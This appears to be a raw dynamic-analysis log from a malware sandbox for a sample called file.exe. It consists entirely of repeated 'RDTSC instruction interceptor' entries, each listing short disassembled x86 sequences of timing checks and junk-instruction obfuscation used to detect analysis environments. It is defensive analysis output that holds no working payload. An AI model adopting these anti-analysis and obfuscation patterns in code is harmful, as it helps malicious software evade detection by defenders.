Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF746 second address: 7FF750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FAA34DB19B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B536B second address: 7B5371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80204E second address: 802052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802052 second address: 802058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802058 second address: 80205E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803E7B second address: 803E85 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAA34ECFF56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803E85 second address: 803F0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAA34DB19C9h 0x00000008 jmp 00007FAA34DB19C4h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 sbb bx, 4ED2h 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+12454DDDh] 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007FAA34DB19B8h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c xchg eax, esi 0x0000003d jmp 00007FAA34DB19C8h 0x00000042 push eax 0x00000043 jbe 00007FAA34DB19BEh 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804EEC second address: 804EF6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804EF6 second address: 804EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806E26 second address: 806E2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806E2A second address: 806E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804EFA second address: 804F63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D3198h], ecx 0x0000000e xor ebx, dword ptr [ebp+122D387Bh] 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov edi, ecx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007FAA34ECFF58h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e mov eax, dword ptr [ebp+122D04D9h] 0x00000044 mov edi, dword ptr [ebp+122D1F59h] 0x0000004a push FFFFFFFFh 0x0000004c mov dword ptr [ebp+122D2A73h], edi 0x00000052 nop 0x00000053 js 00007FAA34ECFF7Ah 0x00000059 push eax 0x0000005a push edx 0x0000005b jg 00007FAA34ECFF56h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804F63 second address: 804F89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FAA34DB19B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804F89 second address: 804F8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804F8D second address: 804F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807D4D second address: 807DED instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAA34ECFF5Ch 0x00000008 jne 00007FAA34ECFF56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 adc bx, 6400h 0x00000018 mov edi, dword ptr [ebp+122D3AA3h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007FAA34ECFF58h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a and edi, 7673A36Fh 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 call 00007FAA34ECFF58h 0x0000004a pop esi 0x0000004b mov dword ptr [esp+04h], esi 0x0000004f add dword ptr [esp+04h], 0000001Ah 0x00000057 inc esi 0x00000058 push esi 0x00000059 ret 0x0000005a pop esi 0x0000005b ret 0x0000005c jmp 00007FAA34ECFF5Eh 0x00000061 push esi 0x00000062 mov edi, dword ptr [ebp+122D3873h] 0x00000068 pop ebx 0x00000069 push eax 0x0000006a pushad 0x0000006b pushad 0x0000006c push eax 0x0000006d pop eax 0x0000006e jmp 00007FAA34ECFF63h 0x00000073 popad 0x00000074 pushad 0x00000075 pushad 0x00000076 popad 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808C88 second address: 808CAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FAA34DB19B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808ECF second address: 808ED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BDAB second address: 80BDAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BDAF second address: 80BDBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BDBD second address: 80BE37 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAA34DB19B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FAA34DB19B8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007FAA34DB19B8h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 00000015h 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 jnl 00007FAA34DB19BAh 0x00000047 push 00000000h 0x00000049 jmp 00007FAA34DB19C9h 0x0000004e xchg eax, esi 0x0000004f pushad 0x00000050 jp 00007FAA34DB19BCh 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80F3BE second address: 80F3CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FAA34ECFF5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0FFD second address: 7A1035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FAA34DB19BBh 0x0000000c pop ebx 0x0000000d jmp 00007FAA34DB19C9h 0x00000012 popad 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007FAA34DB19B6h 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815978 second address: 815981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815981 second address: 815986 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81511A second address: 815120 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815120 second address: 815126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815126 second address: 81514A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 jl 00007FAA34ECFF72h 0x0000000c jmp 00007FAA34ECFF66h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81514A second address: 815155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815155 second address: 81515F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAA34ECFF56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815568 second address: 81556E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B43B second address: 81B440 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B440 second address: 81B446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B446 second address: 81B460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jns 00007FAA34ECFF6Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAA34ECFF5Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B460 second address: 81B477 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAA34DB19B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FAA34DB19B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B477 second address: 81B496 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007FAA34ECFF62h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B690 second address: 81B696 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B696 second address: 81B69C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B69C second address: 81B6AF instructions: 0x00000000 rdtsc 0x00000002 je 00007FAA34DB19B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B6AF second address: 81B6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821909 second address: 821932 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007FAA34DB19B6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FAA34DB19C9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821A82 second address: 821A88 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821BE5 second address: 821BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821BEB second address: 821C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAA34ECFF68h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821C08 second address: 821C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8288FF second address: 828903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82FB9A second address: 82FBC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FAA34DB19B6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAA34DB19C8h 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ACCD5 second address: 7ACCD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F3A6 second address: 82F3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19C5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F3C0 second address: 82F3CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FAA34ECFF56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F3CC second address: 82F3EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007FAA34DB19B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835056 second address: 83505A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83505A second address: 83505E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83505E second address: 83506E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FAA34ECFF56h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835241 second address: 835250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19BAh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835D2B second address: 835D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835D31 second address: 835D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835EB1 second address: 835ECB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAA34ECFF60h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835ECB second address: 835ED3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835ED3 second address: 835ED8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835ED8 second address: 835EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835EE6 second address: 835EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAA34ECFF56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D745B second address: 7D7460 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836338 second address: 836342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAA34ECFF56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836342 second address: 83634E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAA34DB19B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834BEE second address: 834C0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FAA34ECFF63h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834C0B second address: 834C16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FAA34DB19B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834C16 second address: 834C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A0B4 second address: 83A0C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007FAA34DB19B6h 0x00000009 pop edi 0x0000000a jo 00007FAA34DB19D1h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1A9E second address: 7F1AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1AA4 second address: 7F1B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FAA34DB19B8h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FAA34DB19C1h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FAA34DB19B8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d movzx edi, cx 0x00000030 lea eax, dword ptr [ebp+12487853h] 0x00000036 jmp 00007FAA34DB19BCh 0x0000003b nop 0x0000003c jmp 00007FAA34DB19C1h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 jns 00007FAA34DB19B6h 0x0000004b push ecx 0x0000004c pop ecx 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2059 second address: 7F205D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F20DD second address: 7F2109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edi 0x0000000a popad 0x0000000b xor dword ptr [esp], 64979971h 0x00000012 pushad 0x00000013 mov dx, B6A6h 0x00000017 mov dword ptr [ebp+122D26F3h], esi 0x0000001d popad 0x0000001e push F8DC9CA0h 0x00000023 push ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jne 00007FAA34DB19B6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F21A9 second address: 7F21B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAA34ECFF56h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F24AE second address: 7F24B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F24B2 second address: 7F24B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F24B6 second address: 7F24BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F24BC second address: 7F24C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F24C1 second address: 7F2514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FAA34DB19B8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push 00000004h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007FAA34DB19B8h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 mov di, 458Dh 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 ja 00007FAA34DB19B8h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2514 second address: 7F251A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F251A second address: 7F251E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2BA1 second address: 7F2BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FAA34ECFF5Fh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FAA34ECFF5Ah 0x00000015 mov eax, dword ptr [eax] 0x00000017 push ecx 0x00000018 pushad 0x00000019 jg 00007FAA34ECFF56h 0x0000001f jnl 00007FAA34ECFF56h 0x00000025 popad 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e jno 00007FAA34ECFF56h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2C99 second address: 7F2CA3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAA34DB19B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2CA3 second address: 7F2CC9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007FAA34ECFF56h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAA34ECFF67h 0x00000014 rdtsc
